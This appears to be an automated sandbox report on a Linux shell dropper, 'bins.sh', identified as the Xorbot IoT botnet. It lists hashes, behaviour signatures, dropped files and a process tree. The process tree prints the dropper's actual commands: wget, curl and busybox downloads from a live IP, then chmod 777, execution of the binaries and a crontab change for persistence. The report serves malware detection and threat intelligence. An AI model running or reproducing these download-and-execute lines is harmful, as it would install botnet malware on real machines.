Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    11/12/2024, 23:32

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    5320493cb4ab4097e682ca44fe06a060

  • SHA1

    d1553a053ac98676f4000f40b1e182cfe6e10d40

  • SHA256

    02a32a43b1dfa95b12216aff9d79f7fde2759570bdf07a0ce325cb758544ea03

  • SHA512

    ff383deb2024b2ce9b6feca6c613174fc640c28a68e6c446bb31130b6f2747ab5d4c4e2f4b24da60831d1634e956477086a3fe59f1007b7ea66e6440ff830f9c

  • SSDEEP

    192:X7ntLmJJKRNhYgSCWtm2QIQVQsRmBQgxUntLMJJKRNeYwCWtm2iIQVQscCZ:X7nt5HSCWtm2QIQVQsRGQgxUntdwCWtO

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1865) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1496
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1497
        • /usr/bin/wget
          wget http://37.44.238.68/bins/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
          • Writes file to tmp directory
          PID:1498
        • /usr/bin/curl
          curl -O http://37.44.238.68/bins/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
          • Writes file to tmp directory
          PID:1502
        • /bin/busybox
          /bin/busybox wget http://37.44.238.68/bins/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
          • Writes file to tmp directory
          PID:1503
        • /bin/chmod
          chmod 777 TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
          • File and Directory Permissions Modification
          PID:1504
        • /tmp/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          ./TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
          • Executes dropped EXE
          PID:1505
        • /bin/rm
          rm TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
            PID:1507
          • /usr/bin/wget
            wget http://37.44.238.68/bins/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
            • Writes file to tmp directory
            PID:1508
          • /usr/bin/curl
            curl -O http://37.44.238.68/bins/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
            • Writes file to tmp directory
            PID:1509
          • /bin/busybox
            /bin/busybox wget http://37.44.238.68/bins/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
            • Writes file to tmp directory
            PID:1510
          • /bin/chmod
            chmod 777 gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
            • File and Directory Permissions Modification
            PID:1511
          • /tmp/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            ./gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
            • Executes dropped EXE
            PID:1512
          • /bin/rm
            rm gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
              PID:1514
            • /usr/bin/wget
              wget http://37.44.238.68/bins/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
              • Writes file to tmp directory
              PID:1515
            • /usr/bin/curl
              curl -O http://37.44.238.68/bins/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
              • Writes file to tmp directory
              PID:1516
            • /bin/busybox
              /bin/busybox wget http://37.44.238.68/bins/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
              • Writes file to tmp directory
              PID:1517
            • /bin/chmod
              chmod 777 w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
              • File and Directory Permissions Modification
              PID:1518
            • /tmp/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              ./w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
              • Executes dropped EXE
              PID:1519
            • /bin/rm
              rm w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
                PID:1521
              • /usr/bin/wget
                wget http://37.44.238.68/bins/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                2⤵
                • Writes file to tmp directory
                PID:1522
              • /usr/bin/curl
                curl -O http://37.44.238.68/bins/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                2⤵
                • Writes file to tmp directory
                PID:1523
              • /bin/busybox
                /bin/busybox wget http://37.44.238.68/bins/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                2⤵
                • Writes file to tmp directory
                PID:1524
              • /bin/chmod
                chmod 777 PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                2⤵
                • File and Directory Permissions Modification
                PID:1525
              • /tmp/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                ./PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                2⤵
                • Executes dropped EXE
                PID:1526
              • /bin/rm
                rm PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                2⤵
                  PID:1528
                • /usr/bin/wget
                  wget http://37.44.238.68/bins/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                  2⤵
                  • Writes file to tmp directory
                  PID:1529
                • /usr/bin/curl
                  curl -O http://37.44.238.68/bins/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                  2⤵
                  • Writes file to tmp directory
                  PID:1530
                • /bin/busybox
                  /bin/busybox wget http://37.44.238.68/bins/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                  2⤵
                  • Writes file to tmp directory
                  PID:1531
                • /bin/chmod
                  chmod 777 KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1532
                • /tmp/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                  ./KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                  2⤵
                  • Executes dropped EXE
                  PID:1533
                • /bin/rm
                  rm KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                  2⤵
                    PID:1535
                  • /usr/bin/wget
                    wget http://37.44.238.68/bins/LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                    2⤵
                    • Writes file to tmp directory
                    PID:1536
                  • /usr/bin/curl
                    curl -O http://37.44.238.68/bins/LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                    2⤵
                    • Writes file to tmp directory
                    PID:1537
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.68/bins/LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                    2⤵
                    • Writes file to tmp directory
                    PID:1538
                  • /bin/chmod
                    chmod 777 LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1539
                  • /tmp/LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                    ./LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:1540
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:1542
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:1543
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:1544
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:1545
                        • /bin/rm
                          rm LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                          2⤵
                            PID:1547
                          • /usr/bin/wget
                            wget http://37.44.238.68/bins/VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                            2⤵
                            • System Network Configuration Discovery
                            PID:1550

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE

                          Filesize

                          111KB

                          MD5

                          ca897a38f23ec23521ce0b1b83f8422d

                          SHA1

                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                          SHA256

                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                          SHA512

                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                        • /tmp/LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt

                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                        • /tmp/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF

                          Filesize

                          151KB

                          MD5

                          6c583043d91c55aa470c08c87058e917

                          SHA1

                          abf65a5b9bba69980278ad09356e53de8bb89439

                          SHA256

                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                          SHA512

                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                        • /tmp/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z

                          Filesize

                          122KB

                          MD5

                          cd3d4b9c643e5b473fb4d88ed05f0716

                          SHA1

                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                          SHA256

                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                          SHA512

                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                        • /tmp/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv

                          Filesize

                          107KB

                          MD5

                          eb9c3a0de91fcf16ba17cb24608df68c

                          SHA1

                          09d95a7d70d5e115d103be51edff7c498d272fac

                          SHA256

                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                          SHA512

                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                        • /tmp/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /var/spool/cron/crontabs/tmp.l9AqTP

                          Filesize

                          210B

                          MD5

                          bf334ad654663c23f10ae46e1f41dc2d

                          SHA1

                          ccc1b556497a2d3e29ef69c00550bc3fcee533e2

                          SHA256

                          5d4089581fb5dfe8c4d93e6b185c200886e63a14a1aee0d4180331ce1547445d

                          SHA512

                          ddbc50a069d50b2bb1482a5eac6017b6e693bdbc9833bc96f70abcbfd5e36701a7c3d34b53e38b8d2ea4e37e53c7864ae9b7d9b7bba6d0b468dae13b614ec7b8